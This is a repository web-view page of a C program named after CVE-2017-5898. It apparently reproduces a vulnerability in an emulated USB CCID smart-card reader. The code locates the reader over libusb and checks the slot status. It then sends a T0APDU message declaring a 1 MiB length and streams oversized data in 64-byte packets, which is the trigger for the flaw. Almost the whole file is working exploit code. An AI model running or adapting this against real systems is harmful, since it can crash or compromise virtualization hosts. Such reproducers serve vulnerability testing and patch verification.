summaryrefslogtreecommitdiffstats
path: root/cve-2017-5898.c
blob: 33ed63bab92482a46de6b20ca0499ba3ecb496a4 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#include "usb.h"

#define CCID_MAX_PACKET_SIZE                64

/*
 * BULK_OUT messages from PC to Reader
 * Defined in CCID Rev 1.1 6.1 (page 26)
 */
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOn              0x62
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOff             0x63
#define CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus           0x65
#define CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock                0x6f
#define CCID_MESSAGE_TYPE_PC_to_RDR_GetParameters           0x6c
#define CCID_MESSAGE_TYPE_PC_to_RDR_ResetParameters         0x6d
#define CCID_MESSAGE_TYPE_PC_to_RDR_SetParameters           0x61
#define CCID_MESSAGE_TYPE_PC_to_RDR_Escape                  0x6b
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccClock                0x6e
#define CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU                  0x6a
#define CCID_MESSAGE_TYPE_PC_to_RDR_Secure                  0x69
#define CCID_MESSAGE_TYPE_PC_to_RDR_Mechanical              0x71
#define CCID_MESSAGE_TYPE_PC_to_RDR_Abort                   0x72
#define CCID_MESSAGE_TYPE_PC_to_RDR_SetDataRateAndClockFrequency 0x73

/*
 * BULK_IN messages from Reader to PC
 * Defined in CCID Rev 1.1 6.2 (page 48)
 */
#define CCID_MESSAGE_TYPE_RDR_to_PC_DataBlock               0x80
#define CCID_MESSAGE_TYPE_RDR_to_PC_SlotStatus              0x81
#define CCID_MESSAGE_TYPE_RDR_to_PC_Parameters              0x82
#define CCID_MESSAGE_TYPE_RDR_to_PC_Escape                  0x83
#define CCID_MESSAGE_TYPE_RDR_to_PC_DataRateAndClockFrequency 0x84

/*
 * INTERRUPT_IN messages from Reader to PC
 * Defined in CCID Rev 1.1 6.3 (page 56)
 */
#define CCID_MESSAGE_TYPE_RDR_to_PC_NotifySlotChange        0x50
#define CCID_MESSAGE_TYPE_RDR_to_PC_HardwareError           0x51

/*
 * Endpoints for CCID - addresses are up to us to decide.
 * To support slot insertion and removal we must have an interrupt in ep
 * in addition we need a bulk in and bulk out ep
 * 5.2, page 20
 */
#define CCID_INT_IN_EP       (1 | 0x80)
#define CCID_BULK_IN_EP      (2 | 0x80)
#define CCID_BULK_OUT_EP     (3)

typedef struct __attribute__((packed)) CCID_Header {
    uint8_t     bMessageType;
    uint32_t    dwLength;
    uint8_t     bSlot;
    uint8_t     bSeq;
} CCID_Header;

typedef struct __attribute__((packed)) CCID_BULK_IN {
    CCID_Header hdr;
    uint8_t     bStatus;        /* Only used in BULK_IN */
    uint8_t     bError;         /* Only used in BULK_IN */
} CCID_BULK_IN;

typedef struct __attribute__((packed)) CCID_SlotStatus {
    CCID_BULK_IN b;
    uint8_t     bClockStatus;
} CCID_SlotStatus;

int main(int argc, char *argv[])
{
    int len, xlen, pos, xfered, rc;
    uint8_t buf[CCID_MAX_PACKET_SIZE];
    CCID_Header *hdr = (void*)&buf;
    CCID_SlotStatus *slot = (void*)&buf;

    find_device("smartcard reader", 0x08e6, 0x4433);
    fprintf(stderr, "init ok\n");
    sleep(1);

    /* ------------------------------------------------------------ */

    fprintf(stderr, "checking slot status ...\n");
    memset(buf, 0, sizeof(buf));
    hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus;
    hdr->dwLength = len = 10;
    rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000);
    if (rc != 0) {
        fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
        exit(1);
    }
    fprintf(stderr, "slot-status out %d/%d\n", xfered, len);

    memset(buf, 0, sizeof(buf));
    len = sizeof(CCID_SlotStatus);
    rc = libusb_bulk_transfer(hdev, CCID_BULK_IN_EP, buf, len, &xfered, 1000);
    if (rc != 0) {
        fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
        exit(1);
    }
    fprintf(stderr, "slot-status out %d/%d\n", xfered, len);
    fprintf(stderr, "status: 0x%x, error: 0x%x\n",
            slot->b.bStatus, slot->b.bError);
    if (slot->b.bStatus != 0x00 || slot->b.bError != 0x00) {
    fprintf(stderr, "bad slot status (no card?)\n");
        exit(1);
    }
    fprintf(stderr, "... ok\n");

    /* ------------------------------------------------------------ */

    fprintf(stderr, "sending extra large apdu\n");
    memset(buf, 0, sizeof(buf));
    hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU;
    hdr->dwLength = len = 1024 * 1024;
    pos = 0;
    while (pos < len) {
        xlen = (len - pos);
        if (xlen > CCID_MAX_PACKET_SIZE)
            xlen = CCID_MAX_PACKET_SIZE;
        rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP,
                                  buf, xlen, &xfered, 1000);
        if (rc != 0) {
            fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
            exit(1);
        }
        pos += xfered;
        fprintf(stderr, "\r%d/%d ", pos, len);
        memset(buf, 0xaa, sizeof(buf));
    }
    fprintf(stderr, "done\n");

    exit(0);
}